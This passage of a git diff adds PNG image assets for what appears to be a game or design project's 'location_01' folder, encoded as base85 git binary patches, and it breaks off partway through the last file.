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 literal 0 HcmV?d00001 diff --git a/design/i/location_01/signright_1.png b/design/i/location_01/signright_1.png new file mode 100644 index 0000000000000000000000000000000000000000..22e6a257b36a0b69e063fbae4de07252602f8bcf GIT binary patch literal 8458 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 literal 0 HcmV?d00001 diff --git a/design/i/location_01/statue.png b/design/i/location_01/statue.png new file mode 100644 index 0000000000000000000000000000000000000000..ea9646fbdd59cfc3e123f11be692e870c16168c7 GIT binary patch literal 13980 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 